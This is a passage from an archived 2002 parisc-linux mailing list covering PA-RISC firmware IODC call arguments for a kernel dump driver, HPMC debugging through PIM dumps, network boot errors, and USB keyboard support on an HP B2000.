>   PAGE0->mem_boot.spa, __pa(PAGE0->mem_boot.dp.layers), __pa(pdc_result), dev
>   addr, __pa(iodc_dbuf), 2048);

Can you dump the values for the call that HPMCs?
I'm not sure what is supposed to be passed as arguments to IODC.
I'm trying to find it in the documentation I have and then I
can verify the values are sane.

Note that all IODC is 32-bit.
And earlier IODC versions don't like byte addresses greater than 2GB.
Not sure when that got fixed but it certainly wasn't on 712
or similar workstations/servers. It wasn't even noticed as a problem
until HP started shipping 4GB disk drives (ie 1997 or so).

later IODC included a "block" interface which use block address
instead of byte address. I'll try to find documentation on this.

> DUMPDEV_WRITE = 1
> static unsigned long pdc_result[32] __attribute__ ((aligned (8))); 
> static char __attribute__((aligned(64))) iodc_dbuf[DUMP_PAGE_SZ];
> 
> and devaddr=191889408

191889408 == 0xB7000000
If this is the target byte address on the block device, it's too big.


> Disk /dev/sda: 64 heads, 32 sectors, 17366 cylinders
> Units = cylinders of 2048 * 512 bytes
> 
> /dev/sda1   *         1        61     62448   f0  Linux/PA-RISC boot
> /dev/sda2            62       183    124928   83  Linux
> /dev/sda3           184      1648   1500160   82  Linux swap
> /dev/sda4          1649     17366  16095232    5  Extended
> /dev/sda5          1649      5554   3999728   83  Linux
> /dev/sda6          5555      9460   3999728   82  Linux swap
> /dev/sda7          9461     13366   3999728   83  Linux
> /dev/sda8         13367     17366   4095984   83  Linux

which of these are you trying to write to?
sda3?

> Do you know someone who is well aware of iodc calls ?
> I want to discuss a bit about this.

hmm...inside HP there are a few people who've mucked with IODC.
Let's see if we can figure it out here first.

thanks,
grant


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc call and HPMC: dump driver.
Date: Mon, 02 Sep 2002 22:22:57 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20020903042257.D4E344829@dsl2.external.hp.com>
References: <3D73014A.15ED96ED@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621676 13254 80.91.229.3 (22 Nov 2014 02:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 22:22:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D4E344829; Mon,  2 Sep 2002 22:22:57 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 02 Sep 2002 08:12:26 +0200." <3D73014A.15ED96ED@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15993

Bruno Vidal wrote:
> DUMPDEV_WRITE = 1

I've found the right set of constants and argument parameters.
Those are now committed to include/asm-parisc/pdc.h.

I just realized the comments are incomplete...I only
included ARG0-ARG5 - there can be 8 args depending on
the call...hmm...I'll omit and document in the code
where it's used.

thanks,
grant


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc call and HPMC: dump driver.
Date: Mon, 02 Sep 2002 22:50:49 -0600
Lines: 53
Approved: news@gmane.org
Message-ID: <20020903045049.E268F4829@dsl2.external.hp.com>
References: <3D73014A.15ED96ED@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621676 13259 80.91.229.3 (22 Nov 2014 02:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 22:50:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E268F4829; Mon,  2 Sep 2002 22:50:49 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 02 Sep 2002 08:12:26 +0200." <3D73014A.15ED96ED@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15994

Bruno Vidal wrote:
> ret =  real32_call(PAGE0->mem_boot.iodc_io,
	ARG0	(unsigned long)PAGE0->mem_boot.hpa,
	ARG1	DUMPDEV_WRITE,
	ARG2	PAGE0->mem_boot.spa
	ARG3	__pa(PAGE0->mem_boot.dp.layers)
	ARG4	__pa(pdc_result)
	ARG5	devaddr
	ARG6	__pa(iodc_dbuf)
	ARG7	2048);

The parameters "look" ok.

> DUMPDEV_WRITE = 1
> static unsigned long pdc_result[32] __attribute__ ((aligned (8))); 
> static char __attribute__((aligned(64))) iodc_dbuf[DUMP_PAGE_SZ];
> 
> and devaddr=191889408

except the value of this one. I'm pretty sure now it's wrong.

IO ACD, page 520 of 646 (aka 13-48) says:
Description:    The argument reqsize specifies the amount of data that the
	caller would like to write. It must be a multiple of 2 Kbytes, but
	is otherwise unconstrained. The data to write is in memory at the
	address specified by memaddr. The value of memaddr must be a multiple
	of 64 bytes. The address on the device medium, devaddr, must be 2
	Kbyte aligned. If the call returns a nonnegative status, the return
	parameter count is the number of bytes actually output; it must be a
	multiple of 2 Kbytes. If the call returns a negative status, the
	value of count and the data written are HVERSION dependent.

IO ACD, page 491 of 646 (aka 13-19) says:
13.3.8  Data Types
The data types of the standard arguments and return parameters are as follows:
 All signed integers are represented in two's complement (32-bit) format.
 The status value returned by all IODC entry points in GR28 is a signed integer.
 All addresses, which are passed as arguments, or returned as parameters, are 32-bit unsigned integers.
 The data type of ARG0 in all IODC entry points is a 32-bit unsigned integer.
 The data type of ARG1 in all IODC entry points is a 32-bit unsigned integer.

One might assume devaddr is treated as an "unsigned" integer.
But most older IODC are broken and treat it as a signed value.
(ie anything shipped before ~1996-1998)

I wouldn't trust newer boxes to get it right either.
Once you get ENTRY_IO_BOOT_OUT working, I suggest trying to
use ENTRY_IO_BBLOCK_OUT that's now defined in <asm/pdc.h> first
and if that fails (not implemented), fall back to ENTRY_IO_BOOT_OUT.

hth,
grant


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Tue, 3 Sep 2002 07:47:59 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3D3815BD0000AB5F@ocpmta5.be.tiscali.com>
References: <20020902164424.GE14634@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621676 13264 80.91.229.3 (22 Nov 2014 02:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 23:54:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2CC64829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 23:54:52 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 3 Sep 2002 07:47:59 +0200
In-Reply-To: <20020902164424.GE14634@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15995

Hi Randolph,

>
>> Oops the 32bits kernel which I obtain, boot well on my b2k but ip connection
>> problem is always there: the system seems to loop somewhere with ssh (heart
>> bit seems life and no more response neither at serial console, neither
>at
>> ssh prompt) and telnet causes an HPMC (bus timeout?)
>
>looking up the iaoq and gr02 values reported in the hpmc in System.map 
>would be the first step...
>
Too bad, I forget to mentionned that I just read some HPMC messages on the
LCD display of my b2k and do not get any status dump info on console (which
just stay locked at login prompt). Do you think that kdb works now? (if yes
where can I learn how to get iaoq and gr02 info?)

Thanks a lot,
    Joel



From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Tue, 3 Sep 2002 00:05:55 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020903070555.GR25710@tausq.org>
References: <20020902164424.GE14634@tausq.org> <3D3815BD0000AB5F@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621676 13269 80.91.229.3 (22 Nov 2014 02:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 01:01:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6D604829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 01:01:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B8068CD931; Tue,  3 Sep 2002 00:05:55 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D3815BD0000AB5F@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15996

> Too bad, I forget to mentionned that I just read some HPMC messages on the
> LCD display of my b2k and do not get any status dump info on console (which
> just stay locked at login prompt). Do you think that kdb works now? (if yes
> where can I learn how to get iaoq and gr02 info?)

at the firmware prompt, 'ser pim' will read the hpmc info that's stored
in pim.

kdb should work, although i haven't tried recently.

randolph


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Network Problems
Date: Tue, 3 Sep 2002 10:12:45 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20020903091245.GA21440@sleepie.demon.co.uk>
References: <200209021138.AA3341287994@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621677 13271 80.91.229.3 (22 Nov 2014 02:01:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 04:20:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc2-hem11-4-cust120.bre.cable.ntl.com [213.107.176.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8639D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 04:20:14 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 9F0F79EE69; Tue,  3 Sep 2002 10:12:45 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <200209021138.AA3341287994@mail.centraltx.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15997

Sounds like third bullet point on
<http://www.parisc-linux.org/release-0.9/errata-092.html>.  Is this an
old install (or a recent one from an old ISO)?

Richard


On Mon, Sep 02, 2002 at 11:38:20AM -0500, marc  wrote:
> Anyone have any ideas why I get innundated with these messages on
> startup and have to do a control-c to get past this part and continue booting?
> 
> Configuring network interfaces: eth0: Transceiver problem.
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
> skb: pf=2 (unowned) dev=lo len=328
> PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PALO-text
Date: Tue, 3 Sep 2002 12:51:43 +0200
Organization: ESIEE
Lines: 27
Approved: news@gmane.org
Message-ID: <20020903125143.5dd1e297.varenet@esiee.fr>
References: <000601c25325$f3bcb080$ad3c179f@tol.ses.alcatel.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621677 13276 80.91.229.3 (22 Nov 2014 02:01:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 04:51:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29E594829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 04:51:51 -0600 (MDT)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g83ApiIA004947;
	Tue, 3 Sep 2002 12:51:45 +0200
In-Reply-To: <000601c25325$f3bcb080$ad3c179f@tol.ses.alcatel.es>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15998

On Tue, 3 Sep 2002 10:43:18 +0200
"Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com> wrote:

> Dear Puffin,
> 
>     We are trying to install Debian 3.0 on our HP B2000/785 and it is impossible to recognize the usb keyboard. is there a special commando to introduced in the command line of the palo 1.0 ?

- This reply has been CC'd to the parisc-linux mailing list -

Hi Jorge,

If I remember correctly, the USB support is not enabled by default in the install kernel for Debian 3.0, and B2000 does use a USB keyboard.
We had such a problem here, and there is a solution: boot and install the box using the following lifimage:
http://pateam.esiee.fr/cd-images/lifimages/lifimage-2.4.18-pa46-USBSTI64-20020704.gz
This one has support for USB in both 32/64bit kernels, and what's more, STI console is supported in 64bit kernel. This will allow you to install the box directly with a 64bit kernel.

We may build a more recent lifimage with such USB/STI support soon.

Maybe we can also consider adding at least USB support to the default kernel configuration ? Richard, any comment ? :)

Greetings,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: PALO-text
Date: Tue, 3 Sep 2002 15:14:39 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3D3815BD0000AF81@ocpmta5.be.tiscali.com>
References: <20020903125143.5dd1e297.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621677 13278 80.91.229.3 (22 Nov 2014 02:01:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thibaut VARENE" <varenet@esiee.fr>,
	"Jorge GOMEZ CABELLO" <jorge.gomez@sanmina-sci.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 07:22:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B1144829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 07:22:11 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 3 Sep 2002 15:14:39 +0200
In-Reply-To: <20020903125143.5dd1e297.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15999

Hello Thibaut,

>This one has support for USB in both 32/64bit kernels, and what's more,
STI
>console is supported in 64bit kernel.

May be an anoying question: is that STI console is supported on B2K (buildin
controler HPA4982A)

Thanks in advance for info,
    Joel



From - Thu Nov 08 21:24:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Tue, 3 Sep 2002 17:33:14 +0200
Lines: 664
Approved: news@gmane.org
Message-ID: <3D3815BD0000B0C0@ocpmta5.be.tiscali.com>
References: <20020903070555.GR25710@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=========3D3815BD0000B0C0/mail.tiscali.be"
X-Trace: ger.gmane.org 1416621678 13280 80.91.229.3 (22 Nov 2014 02:01:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep  3 09:40:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 051204829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Sep 2002 09:40:13 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 3 Sep 2002 17:33:14 +0200
In-Reply-To: <20020903070555.GR25710@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16000

--=========3D3815BD0000B0C0/mail.tiscali.be
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hello Randolph,

I need additional help.

>
>> Too bad, I forget to mentionned that I just read some HPMC messages on
>the
>> LCD display of my b2k and do not get any status dump info on console (which
>> just stay locked at login prompt). Do you think that kdb works now? (if
>yes
>> where can I learn how to get iaoq and gr02 info?)
>
>at the firmware prompt, 'ser pim' will read the hpmc info that's stored
>in pim.

Here is the pim I get (I do a clearpim before to be sure):

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp = 
  Tue Sep  3 14:26:13 GMT 2002    (20:02:09:03:14:26:13)

HPMC Chassis Codes = 2cbf0  2500b  2cbf4  2cbfc  

General Registers 0 - 31
00-03   0000000000000000  00000000103b7244  0000000010108064  00000000207f8000
04-07   00000000102b6800  00000000207fc940  00000000207f8000  0000000000000008
08-11   00000000107e2e94  00000000103b6e40  0000000000000400  00000000f0408cd8
12-15   00000000f0407ef0  000000001f1f86d0  00000000000020f8  0000000000035cec
16-19   00000000107fcdc0  0000000000017800  0000000000029494  ffffffffffffffff
20-23   000000000000000e  0000000000000000  0000000000004000  00000000102fd810
24-27   0000000000002a4f  00000000107fcdc0  000000000000000f  00000000102ea010
28-31   0000000000000030  0000000011430100  0000000011430340  00000000103bb010

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000634  0000000000000000  00000000000000c0  0000000000000017
12-15   0000000000000000  0000000000000000  0000000000107000  0000000000000000
16-19   0000007be95ffc60  0000000000000000  0000000010108638  000000000fa11288
20-23   0000000010240224  0000000048030104  000000000004000e  0000000080000000
24-27   0000000000305000  0000000000305000  0000000000044021  00000000f0412000
